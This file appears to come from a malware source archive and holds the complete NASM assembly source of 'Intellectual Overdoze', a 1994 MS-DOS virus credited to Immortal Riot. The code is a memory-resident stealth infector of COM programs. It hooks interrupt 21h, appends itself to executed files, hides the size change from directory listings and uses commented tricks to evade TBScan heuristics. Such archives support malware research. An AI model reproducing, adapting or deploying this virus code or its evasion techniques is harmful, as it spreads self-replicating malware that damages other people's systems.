MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.iod.asm
2021-01-12 17:47:04 -06:00

351 lines
10 KiB
NASM

; ------------------------------------------------------------------------------
;
; - Intellectual Overdoze -
; Created by Immortal Riot's destructive development team
; (c) 1994 The Unforgiven/Immortal Riot
;
;-------------------------------------------------------------------------------
; þ Memory Resident Stealth Infector of COM-programs þ
;-------------------------------------------------------------------------------
.model tiny
.code
org 100h
start:
jmp virus_start ; for first generation only!
db 'V' ; mark org file infected
virus_start:
mov sp,102h ; get delta offset without
call get_delta_offset ; getting detected by tbscan
get_delta_offset:
call cheat_tbscan ; kick's tbscan's heuristics
mov si,word ptr ds:[100h] ; real bad!
mov sp,0fffeh
sub si,offset get_delta_offset
jmp short go_resident
cheat_tbscan:
mov ax,0305h ; keyb i/o
xor bx,bx
int 16h
ret
go_resident:
mov bp,si
installtion_check:
mov ax,6666h
int 21h
cmp bx,6666h ; 6666h returned in bx?
je already_resident ; = assume resident
push cs
pop ds
resize_memory_block:
mov ah,4ah ; find top of memory
mov bx,0ffffh ; (65536)
int 21h
resize_memory_block_for_virus:
sub bx,(virus_end-virus_start+15)/16+1 ; resize enough para's
mov ah,4ah ; for virus
int 21h
allocate_memory_block_for_virus:
mov ah,48h ; allocate for virus
mov bx,(virus_end-virus_start+15)/16
int 21h
jc not_enough_mem ; not enough memory!
dec ax ; ax - 1 = mcb
push es
mark_allocated_memory_block_to_dos:
mov es,ax
mov byte ptr es:[0],'Z'
mov word ptr es:[1],8 ; dos = mcb owner
inc ax
copy_virus_to_memory:
cld ; clear direction for movsw
lea si,[bp+offset virus_start] ; vir start
mov es,ax
xor di,di
mov cx,(virus_end-virus_start+4)/2 ; vir len
rep movsw
manually_hook_of_int21h:
xor ax,ax
mov ds,ax
push ds
; get/set int vector for int21
lds ax,ds:[21h*4]
mov word ptr es:[oldint21h-virus_start],ax
mov word ptr es:[oldint21h-virus_start+2],ds
pop ds
mov word ptr ds:[21h*4],(newint21h-virus_start)
mov bx,es ; cheat tbscan since
mov ds:[21h*4+2],bx ; mov ds:[21h*4+2],es = M flag
push cs
pop ds
exit:
not_enough_mem:
already_resident:
push cs
pop es
restore_first_bytes:
mov di,100h
mov cx,4
mov si,offset orgbuf
add si,bp ; fix correct offset (delta)
repne movsb
jmp_org_program:
mov ax,101h ; cheats tbscan's back to
dec ax ; entry point
jmp ax
newint21h:
cmp ax,4b00h ; file executed?
je infect
cmp ah,11h ; fcb findfirst call?
je fcb_stealth
cmp ah,12h ; fcb findnext call?
je fcb_stealth
cmp ax,6666h ; residency check
jne do_old21h ; not resident
mov bx,6666h ; return marker in bx
do_old21h:
jmp dword ptr cs:[(oldint21h-virus_start)] ; jmp ssss:oooo
ret
fcb_stealth:
pushf
push cs ; fake a int call with pushf
call do_old21h ; and cs, ip on the stack
cmp al,00 ; dir successfull?
jnz dir_error ; naw, skip stealth routine!
push ax
push bx
push es
mov ah,51h ; Get active PSP to es:bx
int 21h
mov es,bx
cmp bx,es:[16h] ; Dos calling it?
jnz not_dos ; Nope!
mov bx,dx
mov al,[bx] ; al = current drive
push ax
mov ah,2fh ; get dta area
int 21h
pop ax ; check extended fcb
inc al ; "cmp byte ptr [bx],0ffh"
jnz normal_fcb ; nope, regular fcb!
ext_fcb:
add bx,7h ; skip junkie if ext fcb
normal_fcb:
mov ax,es:[bx+17h] ; get second value
and ax,1fh
xor al,01h
jnz no_stealth ; second-stealth value match
; Here one should really check (i) if the file was a comfile, and (ii),
; the file-size ( >472 bytes) But oh well, maybe to come..
and byte ptr es:[bx+17h],0e0h ; substract virus len
sub es:[bx+1dh],(virus_end-virus_start)
sbb es:[bx+1fh],ax
no_stealth:
not_dos:
pop es
pop bx
pop ax
dir_error:
iret
infect:
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
open_file:
mov ax,3d02h ; open file in read/write
int 21h ; mode
jc error_open ; error on file open
xchg ax,bx ; file handle in bx
push ds
push cs
pop ds
read_firstbytes:
mov ah,3fh ; read first four bytes
mov dx,(orgbuf-virus_start) ; to orgbuf
mov cx,4
int 21h
check_file_executed:
cmp byte ptr cs:[(orgbuf-virus_start)],'M' ; check only first byte
je exe_file ; - fooling tbscan
check_previous_infection:
cmp byte ptr cs:[(orgbuf-virus_start)+3],'V' ; already infected?
je already_infected
jmp short get_file_time_date ; not infected
error_open:
already_infected:
exe_file:
jmp exit_proc ; dont infect file
get_file_time_date:
mov ax,5700h ; get time/date
int 21h
mov word ptr cs:[(old_time-virus_start)],cx ; save time
mov word ptr cs:[(old_date-virus_start)],dx ; and date
go_endoffile:
mov ax,4202h ; go end of file
xor cx,cx
cwd
int 21h
check_file_size:
cmp ax,3072d ; check file-size
jb too_small
cmp ax,64000d
ja too_big
create_newjump:
sub ax,3 ; 0e9h,XX,XX,
mov word ptr cs:[(newbuf+1-virus_start)],ax ; V => AX
write_virus:
mov ah,40h ; write virus to end of file
mov cx,(virus_end-virus_start)
; cwd ; (dx = 0 since go eof)
int 21h
go_tof:
mov ax,4200h
xor cx,cx
; cwd ; ( dx = 0 since go eof)
int 21h
write_newjump:
mov ah,40h ; write new jmp to tof
mov cx,4 ; = 0E9H,XX,XX,V
mov dx,(newbuf-virus_start) ; offset to write from
int 21h
set_org_time_date:
too_small:
too_big:
mov ax,5701h ; set back org
mov word ptr cx,cs:[(old_time-virus_start)] ; time
mov word ptr dx,cs:[(old_date-virus_start)] ; date
set_stealth_marker:
and cl,0e0h ; give file
inc cl ; specific
int 21h ; second val
close_file:
mov ah,3eh ; close file
int 21h
exit_proc:
pop ds
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[(oldint21h-virus_start)] ; jmp ssss:oooo
old_date dw 0 ; storage buffers
old_time dw 0 ; for file time/date
oldint21h dd ? ; and oldint21h
orgbuf db 0cdh,20h,00,00 ; buffer to save first 4 bytes in
newbuf db 0E9h,00,00,'V' ; buffer to calculate a new entry
copyrt db "[Overdoze] (c) 1994 The Unforgiven/Immortal Riot"
virus_end:
end start